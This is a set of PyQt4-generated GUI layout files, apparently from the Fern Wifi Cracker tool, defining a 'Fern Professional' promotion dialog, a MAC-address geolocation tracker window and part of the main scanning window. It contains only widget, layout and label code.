return QtGui.QApplication.translate(context, text, disambig)
class Fern_Pro_Tip_ui(object):
def setupUi(self, Dialog):
Dialog.setObjectName(_fromUtf8("Dialog"))
Dialog.resize(413, 188)
self.verticalLayout_3 = QtGui.QVBoxLayout(Dialog)
self.verticalLayout_3.setObjectName(_fromUtf8("verticalLayout_3"))
self.horizontalLayout_3 = QtGui.QHBoxLayout()
self.horizontalLayout_3.setObjectName(_fromUtf8("horizontalLayout_3"))
self.label_2 = QtGui.QLabel(Dialog)
self.label_2.setText(_fromUtf8(""))
self.label_2.setPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/fern_pro.png"%(os.getcwd()))))
self.label_2.setObjectName(_fromUtf8("label_2"))
self.horizontalLayout_3.addWidget(self.label_2)
self.verticalLayout_2 = QtGui.QVBoxLayout()
self.verticalLayout_2.setObjectName(_fromUtf8("verticalLayout_2"))
self.verticalLayout = QtGui.QVBoxLayout()
self.verticalLayout.setObjectName(_fromUtf8("verticalLayout"))
spacerItem = QtGui.QSpacerItem(20, 5, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
self.verticalLayout.addItem(spacerItem)
self.label = QtGui.QLabel(Dialog)
self.label.setObjectName(_fromUtf8("label"))
self.verticalLayout.addWidget(self.label)
self.label_3 = QtGui.QLabel(Dialog)
self.label_3.setObjectName(_fromUtf8("label_3"))
self.verticalLayout.addWidget(self.label_3)
self.verticalLayout_2.addLayout(self.verticalLayout)
spacerItem1 = QtGui.QSpacerItem(20, 40, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)
self.verticalLayout_2.addItem(spacerItem1)
self.horizontalLayout_3.addLayout(self.verticalLayout_2)
self.verticalLayout_3.addLayout(self.horizontalLayout_3)
spacerItem2 = QtGui.QSpacerItem(20, 5, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
self.verticalLayout_3.addItem(spacerItem2)
self.show_message_checkbox = QtGui.QCheckBox(Dialog)
self.show_message_checkbox.setObjectName(_fromUtf8("show_message_checkbox"))
self.verticalLayout_3.addWidget(self.show_message_checkbox)
self.horizontalLayout_2 = QtGui.QHBoxLayout()
self.horizontalLayout_2.setObjectName(_fromUtf8("horizontalLayout_2"))
spacerItem3 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_2.addItem(spacerItem3)
self.horizontalLayout = QtGui.QHBoxLayout()
self.horizontalLayout.setObjectName(_fromUtf8("horizontalLayout"))
self.yes_button = QtGui.QPushButton(Dialog)
self.yes_button.setObjectName(_fromUtf8("yes_button"))
self.horizontalLayout.addWidget(self.yes_button)
self.no_button = QtGui.QPushButton(Dialog)
self.no_button.setObjectName(_fromUtf8("no_button"))
self.horizontalLayout.addWidget(self.no_button)
self.horizontalLayout_2.addLayout(self.horizontalLayout)
self.verticalLayout_3.addLayout(self.horizontalLayout_2)
self.retranslateUi(Dialog)
QtCore.QObject.connect(self.no_button, QtCore.SIGNAL(_fromUtf8("clicked()")), Dialog.close)
QtCore.QMetaObject.connectSlotsByName(Dialog)
def retranslateUi(self, Dialog):
Dialog.setWindowTitle(_translate("Dialog", "Fern Professional", None))
self.label.setText(_translate("Dialog", "A professional version of Fern Wifi Cracker is now available", None))
self.label_3.setText(_translate("Dialog", "Would you like to visit the website?", None))
self.show_message_checkbox.setText(_translate("Dialog", "Don\'t show this message again", None))
self.yes_button.setText(_translate("Dialog", "Yes", None))
self.no_button.setText(_translate("Dialog", "No", None))
| Python |
import os
from main_window import font_size
from PyQt4 import QtCore, QtGui
font_setting = font_size()
try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
_fromUtf8 = lambda s: s
class Ui_fern_geotrack(object):
def setupUi(self, fern_geotrack):
fern_geotrack.setObjectName(_fromUtf8("fern_geotrack"))
fern_geotrack.resize(823, 630)
icon = QtGui.QIcon()
icon.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/map.png"%(os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
fern_geotrack.setWindowIcon(icon)
self.verticalLayout_5 = QtGui.QVBoxLayout(fern_geotrack)
self.verticalLayout_5.setObjectName(_fromUtf8("verticalLayout_5"))
self.horizontalLayout_6 = QtGui.QHBoxLayout()
self.horizontalLayout_6.setObjectName(_fromUtf8("horizontalLayout_6"))
spacerItem = QtGui.QSpacerItem(207, 20, QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_6.addItem(spacerItem)
self.horizontalLayout_2 = QtGui.QHBoxLayout()
self.horizontalLayout_2.setObjectName(_fromUtf8("horizontalLayout_2"))
spacerItem1 = QtGui.QSpacerItem(15, 28, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
self.horizontalLayout_2.addItem(spacerItem1)
self.target_combo = QtGui.QComboBox(fern_geotrack)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Ignored)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.target_combo.sizePolicy().hasHeightForWidth())
self.target_combo.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(8)
self.target_combo.setFont(font)
self.target_combo.setEditable(False)
self.target_combo.setObjectName(_fromUtf8("target_combo"))
self.horizontalLayout_2.addWidget(self.target_combo)
self.horizontalLayout_6.addLayout(self.horizontalLayout_2)
spacerItem2 = QtGui.QSpacerItem(248, 20, QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_6.addItem(spacerItem2)
self.verticalLayout_5.addLayout(self.horizontalLayout_6)
self.horizontalLayout_4 = QtGui.QHBoxLayout()
self.horizontalLayout_4.setObjectName(_fromUtf8("horizontalLayout_4"))
spacerItem3 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_4.addItem(spacerItem3)
self.database_radio = QtGui.QRadioButton(fern_geotrack)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.database_radio.setFont(font)
self.database_radio.setChecked(True)
self.database_radio.setObjectName(_fromUtf8("database_radio"))
self.horizontalLayout_4.addWidget(self.database_radio)
spacerItem4 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_4.addItem(spacerItem4)
self.insert_mac_radio = QtGui.QRadioButton(fern_geotrack)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.insert_mac_radio.setFont(font)
self.insert_mac_radio.setChecked(False)
self.insert_mac_radio.setObjectName(_fromUtf8("insert_mac_radio"))
self.horizontalLayout_4.addWidget(self.insert_mac_radio)
spacerItem5 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_4.addItem(spacerItem5)
self.verticalLayout_5.addLayout(self.horizontalLayout_4)
spacerItem6 = QtGui.QSpacerItem(20, 10, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
self.verticalLayout_5.addItem(spacerItem6)
self.map_viewer = QtWebKit.QWebView(fern_geotrack)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.map_viewer.setFont(font)
self.map_viewer.setUrl(QtCore.QUrl(_fromUtf8("")))
self.map_viewer.setObjectName(_fromUtf8("map_viewer"))
self.verticalLayout_5.addWidget(self.map_viewer)
self.groupBox = QtGui.QGroupBox(fern_geotrack)
self.groupBox.setTitle(_fromUtf8(""))
self.groupBox.setObjectName(_fromUtf8("groupBox"))
self.horizontalLayout = QtGui.QHBoxLayout(self.groupBox)
self.horizontalLayout.setObjectName(_fromUtf8("horizontalLayout"))
spacerItem7 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout.addItem(spacerItem7)
self.verticalLayout = QtGui.QVBoxLayout()
self.verticalLayout.setObjectName(_fromUtf8("verticalLayout"))
self.mac_address_label = QtGui.QLabel(self.groupBox)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.mac_address_label.setFont(font)
self.mac_address_label.setObjectName(_fromUtf8("mac_address_label"))
self.verticalLayout.addWidget(self.mac_address_label)
spacerItem8 = QtGui.QSpacerItem(20, 40, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)
self.verticalLayout.addItem(spacerItem8)
self.country_label = QtGui.QLabel(self.groupBox)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.country_label.setFont(font)
self.country_label.setObjectName(_fromUtf8("country_label"))
self.verticalLayout.addWidget(self.country_label)
self.horizontalLayout.addLayout(self.verticalLayout)
spacerItem9 = QtGui.QSpacerItem(29, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout.addItem(spacerItem9)
self.verticalLayout_4 = QtGui.QVBoxLayout()
self.verticalLayout_4.setObjectName(_fromUtf8("verticalLayout_4"))
self.latitude_label = QtGui.QLabel(self.groupBox)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.latitude_label.setFont(font)
self.latitude_label.setObjectName(_fromUtf8("latitude_label"))
self.verticalLayout_4.addWidget(self.latitude_label)
spacerItem10 = QtGui.QSpacerItem(20, 40, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)
self.verticalLayout_4.addItem(spacerItem10)
self.city_label = QtGui.QLabel(self.groupBox)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.city_label.setFont(font)
self.city_label.setObjectName(_fromUtf8("city_label"))
self.verticalLayout_4.addWidget(self.city_label)
self.horizontalLayout.addLayout(self.verticalLayout_4)
spacerItem11 = QtGui.QSpacerItem(28, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout.addItem(spacerItem11)
self.verticalLayout_3 = QtGui.QVBoxLayout()
self.verticalLayout_3.setObjectName(_fromUtf8("verticalLayout_3"))
self.longitude_label = QtGui.QLabel(self.groupBox)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.longitude_label.setFont(font)
self.longitude_label.setObjectName(_fromUtf8("longitude_label"))
self.verticalLayout_3.addWidget(self.longitude_label)
spacerItem12 = QtGui.QSpacerItem(20, 40, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)
self.verticalLayout_3.addItem(spacerItem12)
self.street_label = QtGui.QLabel(self.groupBox)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.street_label.setFont(font)
self.street_label.setObjectName(_fromUtf8("street_label"))
self.verticalLayout_3.addWidget(self.street_label)
self.horizontalLayout.addLayout(self.verticalLayout_3)
spacerItem13 = QtGui.QSpacerItem(29, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout.addItem(spacerItem13)
self.verticalLayout_2 = QtGui.QVBoxLayout()
self.verticalLayout_2.setObjectName(_fromUtf8("verticalLayout_2"))
self.accuracy_label = QtGui.QLabel(self.groupBox)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.accuracy_label.setFont(font)
self.accuracy_label.setObjectName(_fromUtf8("accuracy_label"))
self.verticalLayout_2.addWidget(self.accuracy_label)
spacerItem14 = QtGui.QSpacerItem(20, 40, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)
self.verticalLayout_2.addItem(spacerItem14)
self.country_code_label = QtGui.QLabel(self.groupBox)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.country_code_label.setFont(font)
self.country_code_label.setObjectName(_fromUtf8("country_code_label"))
self.verticalLayout_2.addWidget(self.country_code_label)
self.horizontalLayout.addLayout(self.verticalLayout_2)
spacerItem15 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout.addItem(spacerItem15)
self.verticalLayout_5.addWidget(self.groupBox)
self.horizontalLayout_5 = QtGui.QHBoxLayout()
self.horizontalLayout_5.setObjectName(_fromUtf8("horizontalLayout_5"))
self.label = QtGui.QLabel(fern_geotrack)
self.label.setText(_fromUtf8(""))
self.label.setObjectName(_fromUtf8("label"))
self.horizontalLayout_5.addWidget(self.label)
spacerItem16 = QtGui.QSpacerItem(220, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_5.addItem(spacerItem16)
self.horizontalLayout_3 = QtGui.QHBoxLayout()
self.horizontalLayout_3.setObjectName(_fromUtf8("horizontalLayout_3"))
self.track_button = QtGui.QPushButton(fern_geotrack)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Ignored)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.track_button.sizePolicy().hasHeightForWidth())
self.track_button.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.track_button.setFont(font)
icon1 = QtGui.QIcon()
icon1.addPixmap(QtGui.QPixmap(_fromUtf8("world.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.track_button.setIcon(icon1)
self.track_button.setIconSize(QtCore.QSize(24, 29))
self.track_button.setObjectName(_fromUtf8("track_button"))
self.horizontalLayout_3.addWidget(self.track_button)
spacerItem17 = QtGui.QSpacerItem(19, 38, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
self.horizontalLayout_3.addItem(spacerItem17)
self.horizontalLayout_5.addLayout(self.horizontalLayout_3)
spacerItem18 = QtGui.QSpacerItem(277, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_5.addItem(spacerItem18)
self.verticalLayout_5.addLayout(self.horizontalLayout_5)
self.retranslateUi(fern_geotrack)
QtCore.QMetaObject.connectSlotsByName(fern_geotrack)
def retranslateUi(self, fern_geotrack):
fern_geotrack.setWindowTitle(QtGui.QApplication.translate("fern_geotrack", "Fern - Mac Geolocatory Tracker", None, QtGui.QApplication.UnicodeUTF8))
self.database_radio.setText(QtGui.QApplication.translate("fern_geotrack", "Use Database addresses", None, QtGui.QApplication.UnicodeUTF8))
self.insert_mac_radio.setText(QtGui.QApplication.translate("fern_geotrack", "Insert Mac Address", None, QtGui.QApplication.UnicodeUTF8))
self.mac_address_label.setText(QtGui.QApplication.translate("fern_geotrack", "Mac Address: ", None, QtGui.QApplication.UnicodeUTF8))
self.country_label.setText(QtGui.QApplication.translate("fern_geotrack", "Country: ", None, QtGui.QApplication.UnicodeUTF8))
self.latitude_label.setText(QtGui.QApplication.translate("fern_geotrack", "Latitude: ", None, QtGui.QApplication.UnicodeUTF8))
self.city_label.setText(QtGui.QApplication.translate("fern_geotrack", "City: Lagos", None, QtGui.QApplication.UnicodeUTF8))
self.longitude_label.setText(QtGui.QApplication.translate("fern_geotrack", "Longitude: ", None, QtGui.QApplication.UnicodeUTF8))
self.street_label.setText(QtGui.QApplication.translate("fern_geotrack", "Street: ", None, QtGui.QApplication.UnicodeUTF8))
self.accuracy_label.setText(QtGui.QApplication.translate("fern_geotrack", "Accuracy: ", None, QtGui.QApplication.UnicodeUTF8))
self.country_code_label.setText(QtGui.QApplication.translate("fern_geotrack", "Country Code: ", None, QtGui.QApplication.UnicodeUTF8))
self.track_button.setText(QtGui.QApplication.translate("fern_geotrack", "Track", None, QtGui.QApplication.UnicodeUTF8))
from PyQt4 import QtWebKit
| Python |
import os
import sys
import commands
from PyQt4 import QtCore, QtGui
#
# Create default font setting
#
if '.font_settings.dat' not in os.listdir(os.getcwd()):
default_font = open('%s/.font_settings.dat'%(os.getcwd()),'a+')
default_font.write('font_size = 7')
default_font.close()
def font_size():
font_settings = open('%s/.font_settings.dat'%(os.getcwd()),'r+')
font_init = font_settings.read()
return int(font_init.split()[2])
font_setting = font_size()
try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
_fromUtf8 = lambda s: s
class Ui_Dialog(object):
def setupUi(self, Dialog):
Dialog.setObjectName(_fromUtf8("Dialog"))
Dialog.resize(619, 623)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(Dialog.sizePolicy().hasHeightForWidth())
Dialog.setSizePolicy(sizePolicy)
icon = QtGui.QIcon()
icon.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/icon.png"%(os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
Dialog.setWindowIcon(icon)
self.verticalLayout_30 = QtGui.QVBoxLayout(Dialog)
self.verticalLayout_30.setObjectName(_fromUtf8("verticalLayout_30"))
self.verticalLayout_29 = QtGui.QVBoxLayout()
self.verticalLayout_29.setSpacing(6)
self.verticalLayout_29.setSizeConstraint(QtGui.QLayout.SetDefaultConstraint)
self.verticalLayout_29.setObjectName(_fromUtf8("verticalLayout_29"))
self.horizontalLayout_7 = QtGui.QHBoxLayout()
self.horizontalLayout_7.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout_7.setObjectName(_fromUtf8("horizontalLayout_7"))
self.verticalLayout_28 = QtGui.QVBoxLayout()
self.verticalLayout_28.setObjectName(_fromUtf8("verticalLayout_28"))
self.verticalLayout_26 = QtGui.QVBoxLayout()
self.verticalLayout_26.setObjectName(_fromUtf8("verticalLayout_26"))
self.label_14 = QtGui.QLabel(Dialog)
self.label_14.setText(_fromUtf8(""))
self.label_14.setPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/splash.png"%(os.getcwd()))))
self.label_14.setObjectName(_fromUtf8("label_14"))
self.verticalLayout_26.addWidget(self.label_14)
spacerItem = QtGui.QSpacerItem(20, 17, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
self.verticalLayout_26.addItem(spacerItem)
self.verticalLayout_24 = QtGui.QVBoxLayout()
self.verticalLayout_24.setObjectName(_fromUtf8("verticalLayout_24"))
self.horizontalLayout_3 = QtGui.QHBoxLayout()
self.horizontalLayout_3.setObjectName(_fromUtf8("horizontalLayout_3"))
spacerItem1 = QtGui.QSpacerItem(13, 20, QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_3.addItem(spacerItem1)
self.update_label = QtGui.QLabel(Dialog)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.update_label.sizePolicy().hasHeightForWidth())
self.update_label.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.update_label.setFont(font)
self.update_label.setObjectName(_fromUtf8("update_label"))
self.horizontalLayout_3.addWidget(self.update_label)
self.verticalLayout_24.addLayout(self.horizontalLayout_3)
self.horizontalLayout_2 = QtGui.QHBoxLayout()
self.horizontalLayout_2.setObjectName(_fromUtf8("horizontalLayout_2"))
self.horizontalLayout = QtGui.QHBoxLayout()
self.horizontalLayout.setObjectName(_fromUtf8("horizontalLayout"))
spacerItem2 = QtGui.QSpacerItem(13, 20, QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Minimum)
self.horizontalLayout.addItem(spacerItem2)
self.verticalLayout_22 = QtGui.QVBoxLayout()
self.verticalLayout_22.setObjectName(_fromUtf8("verticalLayout_22"))
self.update_button = QtGui.QPushButton(Dialog)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Ignored, QtGui.QSizePolicy.Ignored)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.update_button.sizePolicy().hasHeightForWidth())
self.update_button.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.update_button.setFont(font)
self.update_button.setText(_fromUtf8(""))
icon1 = QtGui.QIcon()
icon1.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/1295008956_system-software-update.png"%(os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.update_button.setIcon(icon1)
self.update_button.setIconSize(QtCore.QSize(35, 34))
self.update_button.setObjectName(_fromUtf8("update_button"))
self.verticalLayout_22.addWidget(self.update_button)
spacerItem3 = QtGui.QSpacerItem(13, 30, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
self.verticalLayout_22.addItem(spacerItem3)
self.horizontalLayout.addLayout(self.verticalLayout_22)
spacerItem4 = QtGui.QSpacerItem(13, 74, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
self.horizontalLayout.addItem(spacerItem4)
self.horizontalLayout_2.addLayout(self.horizontalLayout)
spacerItem5 = QtGui.QSpacerItem(124, 12, QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_2.addItem(spacerItem5)
self.verticalLayout_24.addLayout(self.horizontalLayout_2)
self.verticalLayout_26.addLayout(self.verticalLayout_24)
self.verticalLayout_28.addLayout(self.verticalLayout_26)
self.verticalLayout_23 = QtGui.QVBoxLayout()
self.verticalLayout_23.setObjectName(_fromUtf8("verticalLayout_23"))
self.horizontalLayout_6 = QtGui.QHBoxLayout()
self.horizontalLayout_6.setObjectName(_fromUtf8("horizontalLayout_6"))
spacerItem6 = QtGui.QSpacerItem(13, 20, QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_6.addItem(spacerItem6)
self.verticalLayout_21 = QtGui.QVBoxLayout()
self.verticalLayout_21.setContentsMargins(0, -1, -1, -1)
self.verticalLayout_21.setObjectName(_fromUtf8("verticalLayout_21"))
self.py_version_label = QtGui.QLabel(Dialog)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.py_version_label.sizePolicy().hasHeightForWidth())
self.py_version_label.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.py_version_label.setFont(font)
self.py_version_label.setObjectName(_fromUtf8("py_version_label"))
self.verticalLayout_21.addWidget(self.py_version_label)
self.air_version = QtGui.QLabel(Dialog)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.air_version.sizePolicy().hasHeightForWidth())
self.air_version.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.air_version.setFont(font)
self.air_version.setObjectName(_fromUtf8("air_version"))
self.verticalLayout_21.addWidget(self.air_version)
self.qt_version = QtGui.QLabel(Dialog)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.qt_version.sizePolicy().hasHeightForWidth())
self.qt_version.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.qt_version.setFont(font)
self.qt_version.setObjectName(_fromUtf8("qt_version"))
self.verticalLayout_21.addWidget(self.qt_version)
self.horizontalLayout_6.addLayout(self.verticalLayout_21)
self.verticalLayout_23.addLayout(self.horizontalLayout_6)
spacerItem7 = QtGui.QSpacerItem(20, 37, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
self.verticalLayout_23.addItem(spacerItem7)
self.verticalLayout_28.addLayout(self.verticalLayout_23)
self.horizontalLayout_7.addLayout(self.verticalLayout_28)
self.verticalLayout_25 = QtGui.QVBoxLayout()
self.verticalLayout_25.setObjectName(_fromUtf8("verticalLayout_25"))
self.verticalLayout_27 = QtGui.QVBoxLayout()
self.verticalLayout_27.setObjectName(_fromUtf8("verticalLayout_27"))
self.verticalLayout_20 = QtGui.QVBoxLayout()
self.verticalLayout_20.setSpacing(6)
self.verticalLayout_20.setObjectName(_fromUtf8("verticalLayout_20"))
self.horizontalLayout_5 = QtGui.QHBoxLayout()
self.horizontalLayout_5.setObjectName(_fromUtf8("horizontalLayout_5"))
self.loading_label = QtGui.QLabel(Dialog)
self.loading_label.setEnabled(True)
self.loading_label.setText(_fromUtf8(""))
self.loading_label.setPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/loading.gif"%(os.getcwd()))))
self.loading_label.setObjectName(_fromUtf8("loading_label"))
self.horizontalLayout_5.addWidget(self.loading_label)
self.verticalLayout_9 = QtGui.QVBoxLayout()
self.verticalLayout_9.setObjectName(_fromUtf8("verticalLayout_9"))
spacerItem8 = QtGui.QSpacerItem(166, 3, QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Minimum)
self.verticalLayout_9.addItem(spacerItem8)
self.interface_combo = QtGui.QComboBox(Dialog)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Ignored, QtGui.QSizePolicy.Ignored)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.interface_combo.sizePolicy().hasHeightForWidth())
self.interface_combo.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.interface_combo.setFont(font)
self.interface_combo.setObjectName(_fromUtf8("interface_combo"))
self.verticalLayout_9.addWidget(self.interface_combo)
self.horizontalLayout_5.addLayout(self.verticalLayout_9)
spacerItem9 = QtGui.QSpacerItem(13, 20, QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_5.addItem(spacerItem9)
self.verticalLayout_18 = QtGui.QVBoxLayout()
self.verticalLayout_18.setObjectName(_fromUtf8("verticalLayout_18"))
spacerItem10 = QtGui.QSpacerItem(85, 3, QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Minimum)
self.verticalLayout_18.addItem(spacerItem10)
self.refresh_intfacebutton = QtGui.QPushButton(Dialog)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Ignored, QtGui.QSizePolicy.Ignored)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.refresh_intfacebutton.sizePolicy().hasHeightForWidth())
self.refresh_intfacebutton.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.refresh_intfacebutton.setFont(font)
icon2 = QtGui.QIcon()
icon2.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/PNG-Refresh.png-256x256.png"%(os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.refresh_intfacebutton.setIcon(icon2)
self.refresh_intfacebutton.setIconSize(QtCore.QSize(24, 23))
self.refresh_intfacebutton.setObjectName(_fromUtf8("refresh_intfacebutton"))
self.verticalLayout_18.addWidget(self.refresh_intfacebutton)
self.horizontalLayout_5.addLayout(self.verticalLayout_18)
spacerItem11 = QtGui.QSpacerItem(18, 20, QtGui.QSizePolicy.Ignored, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_5.addItem(spacerItem11)
spacerItem12 = QtGui.QSpacerItem(13, 36, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
self.horizontalLayout_5.addItem(spacerItem12)
self.verticalLayout_20.addLayout(self.horizontalLayout_5)
self.mon_label = QtGui.QLabel(Dialog)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Minimum)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.mon_label.sizePolicy().hasHeightForWidth())
self.mon_label.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.mon_label.setFont(font)
self.mon_label.setObjectName(_fromUtf8("mon_label"))
self.verticalLayout_20.addWidget(self.mon_label)
self.verticalLayout_27.addLayout(self.verticalLayout_20)
self.verticalLayout_19 = QtGui.QVBoxLayout()
self.verticalLayout_19.setObjectName(_fromUtf8("verticalLayout_19"))
self.horizontalLayout_4 = QtGui.QHBoxLayout()
self.horizontalLayout_4.setObjectName(_fromUtf8("horizontalLayout_4"))
self.verticalLayout_8 = QtGui.QVBoxLayout()
self.verticalLayout_8.setObjectName(_fromUtf8("verticalLayout_8"))
spacerItem13 = QtGui.QSpacerItem(168, 2, QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Minimum)
self.verticalLayout_8.addItem(spacerItem13)
self.scan_button = QtGui.QPushButton(Dialog)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.scan_button.sizePolicy().hasHeightForWidth())
self.scan_button.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.scan_button.setFont(font)
self.scan_button.setText(_fromUtf8(""))
icon3 = QtGui.QIcon()
icon3.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/radio-wireless-signal-icone-5919-128.png"%(os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.scan_button.setIcon(icon3)
self.scan_button.setIconSize(QtCore.QSize(40, 42))
self.scan_button.setObjectName(_fromUtf8("scan_button"))
self.verticalLayout_8.addWidget(self.scan_button)
self.horizontalLayout_4.addLayout(self.verticalLayout_8)
self.verticalLayout = QtGui.QVBoxLayout()
self.verticalLayout.setObjectName(_fromUtf8("verticalLayout"))
